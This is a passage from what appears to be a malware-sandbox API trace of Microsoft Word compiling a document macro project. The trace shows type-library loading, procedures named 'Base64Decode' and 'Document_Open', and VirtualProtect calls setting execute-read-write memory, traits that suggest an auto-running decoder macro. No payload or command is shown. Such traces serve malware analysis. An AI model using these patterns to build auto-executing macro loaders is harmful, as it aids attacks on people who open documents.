_String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0053.575] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0053.575] IUnknown:AddRef (This=0x677a9f0) returned 0x12 [0053.575] ITypeLib:RemoteGetLibAttr (in: This=0x677a9f0, ppTLibAttr=0x126d18, pDummy=0x0 | out: ppTLibAttr=0x126d18, pDummy=0x0) returned 0x0 [0053.575] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x126d30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x126da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 58 [0053.575] strcpy_s (in: _Dst=0x68fe2f8, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0053.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x126eb0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0053.575] strcpy_s (in: _Dst=0x68fe340, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0053.576] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a99710 [0053.576] IUnknown:AddRef (This=0x677a9f0) returned 0x13 [0053.576] ITypeLib:LocalReleaseTLibAttr (This=0x677a9f0) returned 0x0 [0053.576] IUnknown:Release (This=0x677a9f0) returned 0x12 [0053.576] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0053.576] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0053.576] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0053.576] IUnknown:AddRef (This=0x677acc0) returned 0x8 [0053.576] ITypeLib:RemoteGetLibAttr (in: This=0x677acc0, ppTLibAttr=0x126d18, pDummy=0x0 | out: ppTLibAttr=0x126d18, pDummy=0x0) returned 0x0 [0053.576] ITypeLib:RemoteGetDocumentation (in: This=0x677acc0, index=-1, refPtrFlags=0x126d30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x126da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31 [0053.576] strcpy_s (in: _Dst=0x6a99798, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0053.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x126eb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0053.576] strcpy_s (in: _Dst=0x6a997c0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0053.576] IUnknown:AddRef (This=0x677acc0) returned 0x9 [0053.576] ITypeLib:LocalReleaseTLibAttr (This=0x677acc0) returned 0x0 [0053.576] IUnknown:Release (This=0x677acc0) returned 0x8 [0053.577] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x20) returned 0x66d4210 [0053.577] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0053.577] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0053.578] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2 [0053.578] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\CNormal") returned 4 [0053.578] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0053.578] IUnknown:AddRef (This=0x677dc90) returned 0x6 [0053.578] ITypeLib:RemoteGetLibAttr (in: This=0x677dc90, ppTLibAttr=0x126d18, pDummy=0x0 | out: ppTLibAttr=0x126d18, pDummy=0x0) returned 0x0 [0053.578] ITypeLib:RemoteGetDocumentation (in: This=0x677dc90, index=-1, refPtrFlags=0x126d30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x126da0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpUsedDefaultChar=0x0) returned 63 [0053.578] strcpy_s (in: _Dst=0x6a99830, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0053.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x126eb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0053.578] strcpy_s (in: _Dst=0x6a99878, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0053.578] IUnknown:AddRef (This=0x677dc90) returned 0x7 [0053.578] ITypeLib:LocalReleaseTLibAttr (This=0x677dc90) returned 0x0 [0053.578] IUnknown:Release (This=0x677dc90) returned 0x6 [0053.578] IMalloc:Free (This=0x7feffc15380, pv=0x6a50730) [0053.579] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x126978, pDummy=0x6a883d0 | out: ppTypeAttr=0x126978, pDummy=0x6a883d0*=0x7) returned 0x0 [0053.579] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.579] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.579] IMalloc:Alloc (This=0x7feffc15380, cb=0x118) returned 0x6a53f40 [0053.579] IMalloc:Alloc (This=0x7feffc15380, cb=0xe38) returned 0x69ef1b0 [0053.579] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x126958, pDummy=0x126994 | out: ppTypeAttr=0x126958, pDummy=0x126994*=0xffffffff) returned 0x0 [0053.579] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x0, ppFuncDesc=0x126950, pDummy=0x126998 | out: ppFuncDesc=0x126950, pDummy=0x126998*=0x6856a50) returned 0x0 [0053.579] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.579] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x1, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.579] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.579] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x2, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.579] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.579] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x3, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.579] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.579] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x4, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.579] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.579] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x5, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.579] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x6, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x7, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x8, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x9, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xa, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xb, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xc, ppFuncDesc=0x126950, pDummy=0x100 | out: ppFuncDesc=0x126950, pDummy=0x100) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x126958, pDummy=0x126994 | out: ppTypeAttr=0x126958, pDummy=0x126994*=0xffffffff) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x0, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x1, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x2, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x3, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x4, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x5, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x6, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x7, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x8, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x9, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xa, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xb, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xc, ppFuncDesc=0x126950, pDummy=0xc0 | out: ppFuncDesc=0x126950, pDummy=0xc0) returned 0x0 [0053.580] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.580] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x5601d00001 [0053.580] IUnknown:Release (This=0x6856a50) returned 0x7 [0053.580] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4240 [0053.580] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3d90 [0053.581] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3d60 [0053.581] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3fd0 [0053.581] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126268 | out: ppvObject=0x126268*=0x0) returned 0x80004002 [0053.581] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x126260, pDummy=0x10 | out: ppTypeAttr=0x126260, pDummy=0x10) returned 0x0 [0053.581] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1261d8 | out: ppvObject=0x1261d8*=0x0) returned 0x80004002 [0053.581] IUnknown:AddRef (This=0x6856a50) returned 0x8 [0053.581] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x1261d0, pDummy=0x10 | out: ppTypeAttr=0x1261d0, pDummy=0x10) returned 0x0 [0053.581] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.581] IUnknown:Release (This=0x6856a50) returned 0x7 [0053.581] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a99960 [0053.581] strcpy_s (in: _Dst=0x6a999a0, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0053.581] IMalloc:Alloc (This=0x7feffc15380, cb=0xc8) returned 0x69a5130 [0053.581] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x126190, pDummy=0x6856a50 | out: ppTypeAttr=0x126190, pDummy=0x6856a50*=0xffe207b0) returned 0x0 [0053.581] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x6856a50, ppTLib=0x126198, pIndex=0x1261d8 | out: ppTLib=0x126198*=0x677a9f0, pIndex=0x1261d8*=0x20e) returned 0x0 [0053.581] ITypeLib:RemoteGetLibAttr (in: This=0x677a9f0, ppTLibAttr=0x125e88, pDummy=0x0 | out: ppTLibAttr=0x125e88, pDummy=0x0) returned 0x0 [0053.581] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x125ea0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x125f10, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBm\x06", lpUsedDefaultChar=0x0) returned 58 [0053.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x126020, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0053.581] ITypeLib:LocalReleaseTLibAttr (This=0x677a9f0) returned 0x0 [0053.581] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e7a80 [0053.581] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a99bb0 [0053.581] IUnknown:AddRef (This=0x6856a50) returned 0x8 [0053.581] IUnknown:Release (This=0x677a9f0) returned 0x13 [0053.581] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.581] ITypeInfo:LocalReleaseTypeAttr (This=0x6856a50) returned 0x0 [0053.581] _mbscpy_s (in: _Dst=0x125dc0, _DstSizeInBytes=0xd, _Src=0x3c02b3a | out: _Dst=0x125dc0) returned 0x0 [0053.582] IMalloc:Alloc (This=0x7feffc15380, cb=0x60) returned 0x69a0d50 [0053.582] strcpy_s (in: _Dst=0x6a999b8, _DstSize=0xd, _Src="Base64Decode" | out: _Dst="Base64Decode") returned 0x0 [0053.582] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e7ed0 [0053.582] strcpy_s (in: _Dst=0x68fe668, _DstSize=0x4, _Src="B64" | out: _Dst="B64") returned 0x0 [0053.582] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.582] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.582] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.582] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.582] GetCurrentProcess () returned 0xffffffffffffffff [0053.582] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x55) returned 1 [0053.582] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.582] _mbscpy_s (in: _Dst=0x125dc0, _DstSizeInBytes=0xe, _Src=0x3c02d3a | out: _Dst=0x125dc0) returned 0x0 [0053.582] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.582] _mbscpy_s (in: _Dst=0x125dc0, _DstSizeInBytes=0xe, _Src=0x125dc9 | out: _Dst=0x125dc0) returned 0x0 [0053.582] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Open") returned 0x100767 [0053.583] IUnknown:Release (This=0x6856a50) returned 0x8 [0053.583] IUnknown:AddRef (This=0x6856a50) returned 0x9 [0053.583] _mbscpy_s (in: _Dst=0x125d80, _DstSizeInBytes=0xe, _Src=0x3c02d3a | out: _Dst=0x125d80) returned 0x0 [0053.583] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.583] _mbscpy_s (in: _Dst=0x125d80, _DstSizeInBytes=0xe, _Src=0x125d89 | out: _Dst=0x125d80) returned 0x0 [0053.583] IUnknown:Release (This=0x6856a50) returned 0x8 [0053.583] IMalloc:Alloc (This=0x7feffc15380, cb=0x48) returned 0x69c3f60 [0053.583] strcpy_s (in: _Dst=0x6a999d0, _DstSize=0xe, _Src="Document_Open" | out: _Dst="Document_Open") returned 0x0 [0053.583] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a99e00 [0053.583] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.583] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.583] GetCurrentProcess () returned 0xffffffffffffffff [0053.583] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x45) returned 1 [0053.583] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.583] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x6642e10 [0053.583] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.583] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.583] GetCurrentProcess () returned 0xffffffffffffffff [0053.583] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x45) returned 1 [0053.583] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.583] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0x6a2c9d0 [0053.584] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e8320 [0053.584] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c9d0) [0053.584] IMalloc:Alloc (This=0x7feffc15380, cb=0x12) returned 0x6a2c9d0 [0053.584] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c9d0) [0053.584] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0x69d70d0 [0053.584] GetCurrentProcess () returned 0xffffffffffffffff [0053.584] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99399, dwSize=0x8) returned 1 [0053.584] GetCurrentProcess () returned 0xffffffffffffffff [0053.584] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99398, dwSize=0x8) returned 1 [0053.584] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6a2c9d0 [0053.584] IMalloc:Free (This=0x7feffc15380, pv=0x6a2c9d0) [0053.584] IMalloc:Alloc (This=0x7feffc15380, cb=0x58) returned 0x69d7130 [0053.584] GetCurrentProcess () returned 0xffffffffffffffff [0053.584] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e41, dwSize=0x8) returned 1 [0053.584] GetCurrentProcess () returned 0xffffffffffffffff [0053.584] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e40, dwSize=0x8) returned 1 [0053.584] GetCurrentProcess () returned 0xffffffffffffffff [0053.584] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99399, dwSize=0x8) returned 1 [0053.584] GetCurrentProcess () returned 0xffffffffffffffff [0053.584] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99398, dwSize=0x8) returned 1 [0053.584] GetCurrentProcess () returned 0xffffffffffffffff [0053.585] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a993a8, dwSize=0x2) returned 1 [0053.585] GetCurrentProcess () returned 0xffffffffffffffff [0053.585] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a993fc, dwSize=0x55) returned 1 [0053.585] VirtualProtect (in: lpAddress=0x6a993fc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x126e3c | out: lpflOldProtect=0x126e3c*=0x4) returned 1 [0053.585] GetCurrentProcess () returned 0xffffffffffffffff [0053.585] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e41, dwSize=0x8) returned 1 [0053.585] GetCurrentProcess () returned 0xffffffffffffffff [0053.585] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e40, dwSize=0x8) returned 1 [0053.585] GetCurrentProcess () returned 0xffffffffffffffff [0053.585] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99e50, dwSize=0x2) returned 1 [0053.585] GetCurrentProcess () returned 0xffffffffffffffff [0053.585] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99ea4, dwSize=0x45) returned 1 [0053.585] VirtualProtect (in: lpAddress=0x6a99ea4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x126e3c | out: lpflOldProtect=0x126e3c*=0x40) returned 1 [0053.585] GetCurrentProcess () returned 0xffffffffffffffff [0053.585] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6a99f2c, dwSize=0x45) returned 